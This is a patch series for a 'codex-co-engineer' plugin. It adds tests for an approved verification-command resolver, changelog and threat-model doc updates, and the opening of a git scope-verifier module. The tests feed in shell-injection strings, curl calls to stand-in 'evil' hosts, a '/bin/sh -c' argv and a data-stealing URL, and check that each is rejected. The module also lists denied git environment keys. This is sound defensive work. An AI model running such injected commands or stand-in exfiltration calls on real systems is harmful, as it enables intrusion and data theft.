b/plugins/codex-co-engineer/test/r1-approved-verification-command.test.mjs @@ -0,0 +1,568 @@ +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import test from 'node:test'; + +import { IDENTITY_DOMAIN, IDENTITY_LABELS } from '../mcp/v3/identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + DEFAULT_ENVIRONMENT_RECEIPT, + DEFAULT_MUTATION_RECEIPT, + DEFAULT_NETWORK_RECEIPT, + DEFAULT_RESOURCES_RECEIPT, + DEFAULT_TIMEOUT_MS, + VERIFICATION_POLICY_SCHEMA_ID, + canonicalVerificationPolicyJsonV1, + verificationCommandDigestV1, + verificationPolicyDigestV1, +} from '../mcp/v3/trusted-verification-policy.mjs'; +import { + APPROVED_COMMAND_DIGEST_LABEL, + APPROVED_VERIFICATION_COMMAND_SCHEMA_ID, + APPROVED_VERIFICATION_COMMAND_VERSION, + EXECUTABLE_CLOSURE_DIGEST_LABEL, + approvedVerificationCommandDigestV1, + canonicalApprovedVerificationCommandJsonV1, + resolveApprovedVerificationCommandV1, +} from '../mcp/v3/approved-verification-command.mjs'; +import { + parameterizedRequest, + typedRequest, + validCommand, + validParameterizedCommand, + validPolicy, + validRequest, + validSelection, + validTypedCommand, + validTypedParameters, +} from './fixtures/r1-approved-verification-command-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('schema identity is additive v1 and does not claim a 4.0.0 major', () => { + assert.equal(APPROVED_VERIFICATION_COMMAND_SCHEMA_ID, + 'codex-co-engineer.approved-verification-command.v1'); + assert.equal(APPROVED_VERIFICATION_COMMAND_VERSION, 1); + assert.equal(APPROVED_VERIFICATION_COMMAND_SCHEMA_ID.includes('4.0.0'), false); + assert.equal(APPROVED_COMMAND_DIGEST_LABEL, IDENTITY_LABELS.VERIFICATION_COMMAND_PLAN); + assert.equal(EXECUTABLE_CLOSURE_DIGEST_LABEL, IDENTITY_LABELS.VERIFICATION_EXECUTABLE_CLOSURE); +}); + +test('a valid Codex selection resolves to a frozen detached receipt', () => { + const request = validRequest(); + const receipt = resolveApprovedVerificationCommandV1(request); + assert.equal(Object.isFrozen(receipt), true); + assert.equal(Object.isFrozen(receipt.argv), true); + assert.equal(Object.isFrozen(receipt.parameters), true); + assert.equal(receipt.schema, APPROVED_VERIFICATION_COMMAND_SCHEMA_ID); + assert.equal(receipt.version, APPROVED_VERIFICATION_COMMAND_VERSION); + assert.equal(receipt.command_id, 'unit-tests'); + assert.equal(receipt.executable, '/usr/bin/npm'); + assert.deepEqual(receipt.argv, ['test']); + assert.deepEqual(receipt.parameters, {}); + request.selection.command_id = 'other'; + request.policy.commands[0].executable = '/bin/sh'; + assert.equal(receipt.command_id, 'unit-tests'); + assert.equal(receipt.executable, '/usr/bin/npm'); + assert.equal(Object.isFrozen(request), false); + assert.throws(() => { receipt.command_id = 'mutated'; }, TypeError); + assert.throws(() => { receipt.argv.push('injected'); }, TypeError); +}); + +test('parameterized domain and template expansion stay canonical', () => { + const receipt = resolveApprovedVerificationCommandV1(parameterizedRequest()); + assert.equal(receipt.command_id, 'file-tests'); + assert.equal(receipt.parameters.file, 'spec.js'); + assert.deepEqual(receipt.argv, ['test', '--', 'spec.js']); + assert.equal(receipt.executable, '/usr/bin/npm'); +}); + +test('typed domains expand to exact argv tokens without coercion', () => { + const receipt = resolveApprovedVerificationCommandV1(typedRequest()); + assert.equal(receipt.parameters.count, 2); + assert.equal(receipt.parameters.ok, true); + assert.equal(receipt.parameters.mode, 'ci'); + assert.equal(receipt.parameters.note, 'unit'); + assert.deepEqual(receipt.argv, [ + 'run', '--file', 'spec.js', '--count', '2', '--ok', 'true', + '--mode', 'ci', '--note', 'unit', + ]); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { command_id: 'typed-run', parameters: validTypedParameters({ count: '2' }) }, + }))).code, + 'invalid_type', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { command_id: 'typed-run', parameters: validTypedParameters({ ok: 'true' }) }, + }))).code, + 'invalid_type', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { command_id: 'typed-run', parameters: validTypedParameters({ file: 1 }) }, + }))).code, + 'invalid_type', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { command_id: 'typed-run', parameters: validTypedParameters({ mode: 'CI' }) }, + }))).code, + 'invalid_format', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { command_id: 'typed-run', parameters: validTypedParameters({ count: 9 }) }, + }))).code, + 'out_of_range', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ note: 'x'.repeat(33) }), + }, + }))).code, + 'out_of_range', + ); +}); + +test('required, optional, and default semantics follow the P16A domain', () => { + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests' }, + }))).code, + 'missing_key', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: {} }, + }))).code, + 'missing_key', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: { file: 'spec.js', extra: 'nope' } }, + }))).code, + 'unknown_key', + ); + const unused = validCommand({ + command_id: 'with-extra', + argv_template: ['test', '{file}'], + parameters: { + file: { type: 'path_segment', max_bytes: 32 }, + tag: { type: 'enum', values: ['a', 'b'] }, + }, + }); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [unused] }), + selection: { command_id: 'with-extra', parameters: { file: 'spec.js' } }, + })).code, + 'missing_key', + ); + const complete = resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [unused] }), + selection: { command_id: 'with-extra', parameters: { file: 'spec.js', tag: 'b' } }, + }); + assert.equal(complete.parameters.tag, 'b'); + assert.deepEqual(complete.argv, ['test', 'spec.js']); + + const omittedParams = resolveApprovedVerificationCommandV1(validRequest({ + selection: { command_id: 'unit-tests' }, + })); + assert.deepEqual(omittedParams.parameters, {}); +}); + +test('canonical identity is deterministic across key order and fresh receipts', () => { + const left = typedRequest(); + const right = { + selection: { + parameters: { + ok: true, + note: 'unit', + mode: 'ci', + file: 'spec.js', + count: 2, + }, + command_id: 'typed-run', + }, + policy: { + version: 1, + commands: [validTypedCommand()], + schema: VERIFICATION_POLICY_SCHEMA_ID, + }, + }; + const leftReceipt = resolveApprovedVerificationCommandV1(left); + const rightReceipt = resolveApprovedVerificationCommandV1(right); + assert.equal( + canonicalApprovedVerificationCommandJsonV1(left), + canonicalApprovedVerificationCommandJsonV1(right), + ); + assert.equal(leftReceipt.plan_identity.digest, rightReceipt.plan_identity.digest); + assert.equal(leftReceipt.plan_identity.algorithm, 'sha256'); + assert.equal(leftReceipt.plan_identity.domain, IDENTITY_DOMAIN); + assert.equal(leftReceipt.plan_identity.label, IDENTITY_LABELS.VERIFICATION_COMMAND_PLAN); + assert.match(leftReceipt.plan_identity.digest, /^[0-9a-f]{64}$/u); + assert.equal( + approvedVerificationCommandDigestV1(left).digest, + leftReceipt.plan_identity.digest, + ); + assert.notEqual(leftReceipt, rightReceipt); + assert.equal( + leftReceipt.policy_identity.digest, + verificationPolicyDigestV1(left.policy).digest, + ); + assert.equal( + leftReceipt.command_identity.digest, + verificationCommandDigestV1(validTypedCommand()).digest, + ); + assert.equal( + leftReceipt.executable_closure_identity.label, + IDENTITY_LABELS.VERIFICATION_EXECUTABLE_CLOSURE, + ); + + const other = resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ count: 3 }), + }, + })); + assert.notEqual(other.plan_identity.digest, leftReceipt.plan_identity.digest); + assert.notEqual(other.executable_closure_identity.digest, leftReceipt.executable_closure_identity.digest); +}); + +test('policy identity binds the whole catalog, not only the selected command', () => { + const single = resolveApprovedVerificationCommandV1(validRequest()); + const withExtra = resolveApprovedVerificationCommandV1(validRequest({ + policy: validPolicy({ commands: [validCommand(), validParameterizedCommand()] }), + })); + assert.equal(single.command_id, withExtra.command_id); + assert.equal(single.command_identity.digest, withExtra.command_identity.digest); + assert.notEqual(single.policy_identity.digest, withExtra.policy_identity.digest); + assert.notEqual(single.plan_identity.digest, withExtra.plan_identity.digest); + assert.equal( + withExtra.policy_identity.digest, + verificationPolicyDigestV1(validPolicy({ + commands: [validParameterizedCommand(), validCommand()], + })).digest, + ); +}); + +test('absent P16A capabilities are inherited as exact default-deny receipts', () => { + const receipt = resolveApprovedVerificationCommandV1(validRequest()); + assert.deepEqual(receipt.network, DEFAULT_NETWORK_RECEIPT); + assert.equal(receipt.network.mode, 'deny'); + assert.deepEqual(receipt.network.hosts, []); + assert.deepEqual(receipt.environment, DEFAULT_ENVIRONMENT_RECEIPT); + assert.deepEqual(receipt.environment.entries, []); + assert.deepEqual(receipt.mutation, DEFAULT_MUTATION_RECEIPT); + assert.equal(receipt.mutation.persistent, false); + assert.equal(receipt.mutation.workspace, 'none'); + assert.equal(receipt.timeout_ms, DEFAULT_TIMEOUT_MS); + assert.deepEqual(receipt.resources, DEFAULT_RESOURCES_RECEIPT); + assert.equal(receipt.network === DEFAULT_NETWORK_RECEIPT, false); + assert.equal(receipt.environment === DEFAULT_ENVIRONMENT_RECEIPT, false); +}); + +test('owner-authored constraints are inherited and cannot be overridden', () => { + const granted = validCommand({ + network: { mode: 'allowlist', hosts: ['ci.example.test', 'cache.example.test'] }, + environment: { entries: [{ name: 'CI', value: '1' }] }, + mutation: { persistent: false, workspace: 'ephemeral' }, + timeout_ms: 120_000, + resources: { max_output_bytes: 4096, max_error_bytes: 1024 }, + }); + const receipt = resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [granted] }), + selection: validSelection(), + }); + assert.deepEqual(receipt.network.hosts, ['cache.example.test', 'ci.example.test']); + assert.equal(receipt.environment.entries[0].name, 'CI'); + assert.equal(receipt.timeout_ms, 120_000); + assert.equal(receipt.resources.max_output_bytes, 4096); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [granted] }), + selection: { command_id: 'unit-tests', timeout_ms: 1 }, + })).code, + 'resource_limit_denied', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [granted] }), + selection: { command_id: 'unit-tests', environment: { entries: [] } }, + })).code, + 'executable_content_denied', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [granted] }), + selection: { command_id: 'unit-tests', network: { mode: 'allowlist' } }, + })).code, + 'network_content_denied', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [granted] }), + selection: { command_id: 'unit-tests', mutation: { persistent: true } }, + })).code, + 'mutation_permission_denied', + ); +}); + +test('missing policy, command, or authority default-deny', () => { + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1({})).code, 'missing_key'); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + selection: validSelection(), + })).code, + 'missing_key', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + })).code, + 'missing_key', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [] }), + selection: validSelection(), + })).code, + 'unknown_command', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'missing-command' }, + })).code, + 'unknown_command', + ); + const missing = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'missing-command' }, + })); + assert.equal(missing.message.includes('missing-command'), false); +}); + +test('provider, profile, and manifest matching-text objects remain ineligible', () => { + const policy = validPolicy({ commands: [validCommand()] }); + + const providerSelection = { + command_id: 'unit-tests', + executable: '/usr/bin/npm', + argv_template: ['test'], + }; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: providerSelection, + })).code, + 'executable_content_denied', + ); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: { command_id: 'unit-tests', argv: ['test'] }, + })).code, + 'executable_content_denied', + ); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: validSelection(), + provider: { command_id: 'unit-tests', argv: ['test'] }, + })).code, + 'authority_denied', + ); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: validSelection(), + profile: { + schema: 'codex-co-engineer.profile.v1', + provider: 'dsh', + command_id: 'unit-tests', + }, + })).code, + 'authority_denied', + ); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: { + command_id: 'unit-tests', + parameters: {}, + timeout_ms: 600_000, + }, + })).code, + 'resource_limit_denied', + ); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: validSelection(), + manifest: { command_id: 'unit-tests', parameters: {} }, + })).code, + 'authority_denied', + ); + + const providerReport = { + command_id: 'unit-tests', + argv: ['/bin/sh', '-c', 'curl evil.test'], + env: { LD_PRELOAD: 'x' }, + }; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: providerReport, + })).code, + 'executable_content_denied', + ); + + const resolved = resolveApprovedVerificationCommandV1({ policy, selection: validSelection() }); + assert.equal(resolved.command_id, 'unit-tests'); +}); + +test('injection through values, templates, options, paths, and shell text is denied', () => { + const cases = [ + ['$(curl https://evil.test)', 'shell_content_denied'], + ['`id`', 'shell_content_denied'], + ['spec.js;id', 'shell_content_denied'], + ['spec.js|cat', 'shell_content_denied'], + ['spec.js && id', 'shell_content_denied'], + ['spec.js\n--extra', 'control_character_denied'], + ['spec.js\u0000x', 'control_character_denied'], + ['--help', 'option_smuggling_denied'], + ['-rf', 'option_smuggling_denied'], + ['../etc', 'invalid_format'], + ['spec/js', 'invalid_format'], + ['spec.js*', 'shell_content_denied'], + ['${SHELL}', 'shell_content_denied'], + ['spec\u2044js', 'ambiguous_id_denied'], + ['.', 'invalid_format'], + ['..', 'invalid_format'], + ['foo bar', 'shell_content_denied'], + ]; + for (const [file, code] of cases) { + const error = errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: { file } }, + }))); + assert.equal(error.code, code, file); + if (file.length > 2) assert.equal(error.message.includes(file), false, file); + assert.equal(error.message.includes('evil'), false, file); + assert.equal(error.message.includes('https://'), false, file); + } + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ note: '--flag' }), + }, + }))).code, + 'option_smuggling_denied', + ); +}); + +test('boolean and integer argv tokens stay canonical without option smuggling of strings', () => { + const zero = resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ count: 0, ok: false }), + }, + })); + assert.deepEqual(zero.argv.slice(3, 7), ['--count', '0', '--ok', 'false']); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ count: -0 }), + }, + }))).code, + 'invalid_type', + ); +}); + +test('caller objects are not mutated, frozen, or reused', () => { + const request = parameterizedRequest(); + const originalFile = request.selection.parameters.file; + const receipt = resolveApprovedVerificationCommandV1(request); + assert.equal(Object.isFrozen(request), false); + assert.equal(Object.isFrozen(request.policy), false); + assert.equal(Object.isFrozen(request.selection), false); + assert.equal(Object.isFrozen(request.selection.parameters), false); + request.selection.parameters.file = 'mutated.js'; + request.policy.commands.push(validCommand({ command_id: 'other' })); + assert.equal(receipt.parameters.file, originalFile); + assert.equal(receipt.argv[2], 'spec.js'); + const again = resolveApprovedVerificationCommandV1(parameterizedRequest()); + assert.notEqual(receipt, again); + assert.equal(receipt.plan_identity.digest, again.plan_identity.digest); + assert.equal( + canonicalVerificationPolicyJsonV1(request.policy).includes('file-tests'), + true, + ); +}); + +test('failures are typed and content-free', () => { + const secret = 'sk-attacker-secret-value'; + const error = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + [secret]: `/usr/bin/${secret}`, + })); + assert.equal(error instanceof RunContractV1Error, true); + assert.equal(typeof error.code, 'string'); + assert.equal(error.message.includes(secret), false); + assert.equal(error.message.includes('/usr/bin'), false); + assert.equal(String(error.path).includes(secret), false); + assert.equal(error.message.includes('TypeError'), false); + + const urlError = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'unit-tests', url: 'https://evil.example/steal' }, + })); + assert.equal(urlError.message.includes('https://'), false); + assert.equal(urlError.message.includes('evil.example'), false); + assert.equal(urlError.code, 'network_content_denied'); +}); + +test('the module never claims command execution, PATH resolution, or network access', async () => { + const source = await readFile( + new URL('../mcp/v3/approved-verification-command.mjs', import.meta.url), + 'utf8', + ); + assert.match(source, /never invokes a shell/u); + assert.match(source, /never resolves PATH/u); + assert.match(source, /does not implement the P16C runner/u); + assert.doesNotMatch(source, /from 'node:child_process'/u); + assert.doesNotMatch(source, /from 'node:fs'/u); + assert.doesNotMatch(source, /from 'node:fs\/promises'/u); + assert.doesNotMatch(source, /from 'node:net'/u); + assert.doesNotMatch(source, /from 'node:http'/u); + assert.doesNotMatch(source, /from 'node:dns'/u); + assert.doesNotMatch(source, /from 'node:os'/u); + assert.equal(source.includes('spawn('), false); + assert.equal(source.includes('execFile('), false); + assert.equal(source.includes('execSync('), false); + assert.equal(source.includes('fetch('), false); + assert.equal(source.includes('process.env'), false); +}); From fbbf6223dd0e00dd0c968d0503fee05b1b26880c Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:03:08 +0000 Subject: [PATCH 58/81] docs(changelog): record the P16B approved-command resolver Note the additive resolver surface and keep future-work clear that P16C trusted-policy command execution remains later work. --- CHANGELOG.md | 21 +++++++++++++++++++++ docs/configuration.md | 3 +++ docs/future-work.md | 8 ++++---- docs/threat-model.md | 8 +++++--- 4 files changed, 33 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 79820a5..e90581a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,27 @@ ### Added +- **Approved verification-command resolver.** Adds additive + `approved-verification-command.mjs` for W15-P16B. The module consumes an + immutable trusted `VerificationPolicyV1` from P16A plus a closed + Codex/owner selection of `command_id` and typed parameter values, and + returns a fresh frozen ExecutionIntent / ApprovedCommand receipt. Every + parameter is checked against the owner-authored domain (exact name set, + required semantics, types, enums, ranges, length, and path-segment + grammar). Expansion substitutes only whole-token `{name}` placeholders + from the owner argv template; there is no shell string, PATH lookup, + executable override, interpolation, substitution, globbing, or option + smuggling. Provider, profile, and manifest reported commands remain + evidence only: matching command-id or argv text does not authorize + resolution. Receipts bind policy identity, command-descriptor identity, + canonical parameters, executable path, exact argv, and inherited P16A + constraints without executing. Hostile containers fail closed with typed + content-free errors. Callers' objects are neither mutated nor frozen. + The module never invokes a shell, resolves PATH, opens a network socket, + reads arbitrary workspace files, mutates a candidate, or implements the + later P16C runner. Coverage lives in + `test/r1-approved-verification-command.test.mjs` and + `test/r1-approved-verification-command-adversarial.test.mjs`. - **Trusted VerificationPolicyV1 schema and owner-authored policy loader.** Adds additive `trusted-verification-policy.mjs` for W14-P16A. The module owns a versioned immutable command catalog: each stable command ID binds diff --git a/docs/configuration.md b/docs/configuration.md index 8539d10..2cb5bc8 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -4,6 +4,9 @@ Codex-Co-Engineer has no executable project policy file. The only project-scoped configuration data is the data-only ProfileV1 catalog described in [Profiles](#profiles); verification commands never come from profiles and remain a separate owner-maintained `VerificationPolicyV1`. +The approved-command resolver consumes that owner policy plus a closed +Codex/owner `command_id` selection and returns a frozen ExecutionIntent +receipt; it does not execute the command. Provider authentication is normal persistent login/session state or an owner-only key file. The setup command installs the pinned local composition and creates the default DSH configuration; it never performs login on the diff --git a/docs/future-work.md b/docs/future-work.md index 34f9d74..47eec4f 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -17,10 +17,10 @@ fallback or replay, and Codex-only final acceptance. This worktree does not implement the run runtime, candidate composition, or `AttentionBatchV1`. The P16A VerificationPolicyV1 schema and owner -loader exist as data validation only; approved-command resolution and -execution remain later work. Gate A remains the functional release -authority; Gate B context-efficiency and Gate C credit economics stay -advisory. +loader plus the P16B approved-command resolver exist as data validation +and resolution only; P16C trusted-policy command execution remains later +work. Gate A remains the functional release authority; Gate B +context-efficiency and Gate C credit economics stay advisory. ## Durable, low-token agent completion waits diff --git a/docs/threat-model.md b/docs/threat-model.md index 11e38ca..5498a2e 100644 --- a/docs/threat-model.md +++ b/docs/threat-model.md @@ -102,9 +102,11 @@ Verification lanes are read-only. Profiles are data-only and must not carry executable catalogs. Owner-maintained `VerificationPolicyV1` is the only executable command catalog those lanes may run. Codex may select only approved command IDs and permitted parameters; manifests carry those IDs -and parameters, never arbitrary executable argv. Provider-reported or -provider-requested commands are evidence or attention only and are never -automatically executed. A verifier may not: +and parameters, never arbitrary executable argv. The approved-command +resolver binds a closed Codex/owner selection to a frozen ExecutionIntent +receipt without executing. Provider-reported or provider-requested +commands are evidence or attention only and are never automatically +executed. A verifier may not: - invent commands outside the catalog; - install additional trust roots or mutate the workspace; From f3a7cf9d6f653805efb1195c3fe3aad33e77bfd2 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:15:30 +0000 Subject: [PATCH 59/81] feat(verify): add the scope, read-only, and merge-commit verifier Add an additive v3 ScopeVerifierV1 module that consumes trusted P14 GitIdentityV1 evidence and emits content-free P13 git_diff and head_sha facts. Observation is argv-only through the closed git environment. --- .../mcp/v3/scope-verifier.mjs | 1281 +++++++++++++++++ 1 file changed, 1281 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs b/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs new file mode 100644 index 0000000..011d682 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs @@ -0,0 +1,1281 @@ +// ScopeVerifierV1 — independently derived changed-path ownership, read-only +// mutation, and merge-commit facts (ADR 0001 identifiers +// `disjoint_writer_scopes`, `read_only_verification`, +// `candidate_git_policy_revalidation`, `bounded_evidence`, +// `gate_a_scope_and_read_only_detection`). +// +// Additive v3 module for W16-P15. It consumes only trusted P14 GitIdentityV1 +// evidence plus P13 VerifiedFactV1 / EvidenceDiscrepancyV1 snapshots and +// never treats provider claims as authority. It observes the local repository +// through argv execution (`/usr/bin/git`, no shell) and binds content-free +// git_diff / head_sha facts (`platform_git` with `scope_match`, +// `read_only_no_changes`, and `merge_commit_absence`). It does not own P16A +// trusted command policy or runner, P28 Git mutation, P30/P35 composition, +// server/supervisor integration, network, or merge/rebase/push/PR. +// +// Observation is fail-closed: spawn is argv-only, the child environment is +// the P14 closed map (system/global/caller config and protocols disabled), +// output/time/command counts are bounded, typed errors never echo hostile +// bytes, and a pre/post fingerprint mismatch is an observation race. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, + MAX_DURATION_MS, + MAX_SEQUENCE, +} from './evidence-bundle.mjs'; +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, + GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, + GIT_IDENTITY_RESULT_ALLOWED_KEYS, + GIT_IDENTITY_SCHEMA_ID, + GIT_IDENTITY_STATUSES, + GIT_IDENTITY_VERSION, + MAX_GIT_ARGS, + MAX_GIT_ARG_BYTES, + MAX_GIT_COMMANDS, + MAX_GIT_TIME_MS, + MAX_GIT_TOTAL_TIME_MS, + parseGitIdentityRequestV1, + verifyGitIdentityV1, +} from './git-identity.mjs'; +import { + capturedDescriptor, + capturedFreeze, + capturedHasOwn, + capturedOwnKeys, + isKnownAccess, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + compiledRepoGlobMatchesPath, + compileRepoGlob, + assertRepoRelativePath, + REPO_PATH_BATCH_MAX, + RepoPathMatcherError, +} from './repo-path-matcher.mjs'; +import { + RunContractV1Error, + assertWriteScopePatterns, + isAssignmentId, + isSha40, + SCOPE_MAX_PATTERNS, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const SCOPE_VERIFIER_SCHEMA_ID = 'codex-co-engineer.scope-verifier.v1'; +export const SCOPE_VERIFIER_VERSION = 1; + +export const MAX_SCOPE_OUTPUT_BYTES = 262_144; +export const MAX_CHANGED_PATHS = REPO_PATH_BATCH_MAX; +export const MAX_NEW_COMMITS = 64; +export const MAX_OTHER_WRITE_SCOPES = 7; + +export const SCOPE_REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'identity_request', 'identity', 'access', 'write_scope', 'other_write_scopes', +]); +export const SCOPE_REQUEST_REQUIRED_KEYS = SCOPE_REQUEST_ALLOWED_KEYS; +export const SCOPE_OTHER_SCOPE_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'write_scope', +]); +export const SCOPE_RESULT_ALLOWED_KEYS = capturedFreeze([ + 'schema', 'version', 'status', 'facts', 'discrepancies', 'observation', +]); +export const SCOPE_OBSERVATION_ALLOWED_KEYS = capturedFreeze([ + 'repository_path', 'git_dir', 'base_sha', 'head_sha', 'access', + 'parent_count', 'new_commit_count', 'path_count', 'path_set_digest', + 'rename_count', 'copy_count', 'dirty', 'duration_ms', +]); +export const SCOPE_OPTIONS_ALLOWED_KEYS = capturedFreeze(['spawn']); +export const SCOPE_VERIFIER_STATUSES = capturedFreeze(['failed', 'verified']); + +export const SCOPE_VERIFIER_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'bounds_exceeded', + 'conflicting_id', 'duplicate_id', 'env_influence_denied', + 'exotic_prototype_denied', 'git_execution_failed', 'hostile_name_denied', + 'identity_mismatch', 'invalid_format', 'invalid_type', 'missing_key', + 'non_enumerable_property_denied', 'observation_race', 'own_undefined_denied', + 'out_of_range', 'proxy_denied', 'symbol_key_denied', 'unknown_key', + 'unverified_identity', +]); + +const SCOPE_GIT_ISOLATION_FLAGS = capturedFreeze([ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', + '-c', 'core.useReplaceRefs=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'gc.auto=0', + '-c', 'advice.detachedHead=false', + '-c', 'log.showSignature=false', +]); + +const FORBIDDEN_ENV_KEYS = capturedFreeze([ + 'GIT_DIR', 'GIT_WORK_TREE', 'GIT_OBJECT_DIRECTORY', + 'GIT_ALTERNATE_OBJECT_DIRECTORIES', 'GIT_INDEX_FILE', 'GIT_COMMON_DIR', + 'GIT_NAMESPACE', 'GIT_CONFIG', 'GIT_CONFIG_COUNT', 'GIT_CONFIG_PARAMETERS', + 'GIT_REPLACE_REF_BASE', 'GIT_GRAFT_FILE', 'GIT_QUARANTINE_PATH', + 'GIT_PROXY_COMMAND', 'GIT_SSH', 'GIT_SSH_COMMAND', 'GIT_TRACE', + 'GIT_TRACE2', 'GIT_EXEC_PATH', 'GIT_TEMPLATE_DIR', +]); + +const SEPARATOR_LOOKALIKES = capturedFreeze([ + 0x2044, 0x2215, 0x27cb, 0x27cd, 0x29f8, 0xfe68, 0xff0f, 0xff3c, +]); +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const PRIVATE_MODE_PATTERN = /^[0-7]{6}$/u; +const PRIVATE_DIFF_STATUS_PATTERN = /^[ADMTRCUBX][0-9]{0,3}$/u; +const ZERO_SHA = '0'.repeat(40); +const MODE_SYMLINK = '120000'; +const MODE_GITLINK = '160000'; +const MODE_MISSING = '000000'; + +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const OBJECT_FREEZE = Object.freeze; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const MATH_FLOOR = Math.floor; +const MATH_MAX = Math.max; +const MATH_MIN = Math.min; +const ARRAY_IS_ARRAY = Array.isArray; +const ARRAY_PUSH = Array.prototype.push; +const ARRAY_SORT = Array.prototype.sort; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const BUFFER_IS_BUFFER = NodeBuffer.isBuffer.bind(NodeBuffer); +const BUFFER_EQUALS = NodeBuffer.prototype.equals; +const CRYPTO_CREATE_HASH = createHash; +const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH('sha256')); +const HASH_UPDATE = HASH_PROTOTYPE.update; +const HASH_DIGEST = HASH_PROTOTYPE.digest; +const SPAWN = nodeSpawn; +const REFLECT_APPLY = Reflect.apply; +const STRING_FROM_CODE_POINT = String.fromCodePoint; +const IS_PROXY = utilTypes.isProxy; + +function contractError(code, path, message) { + return new RunContractV1Error(code, path, message); 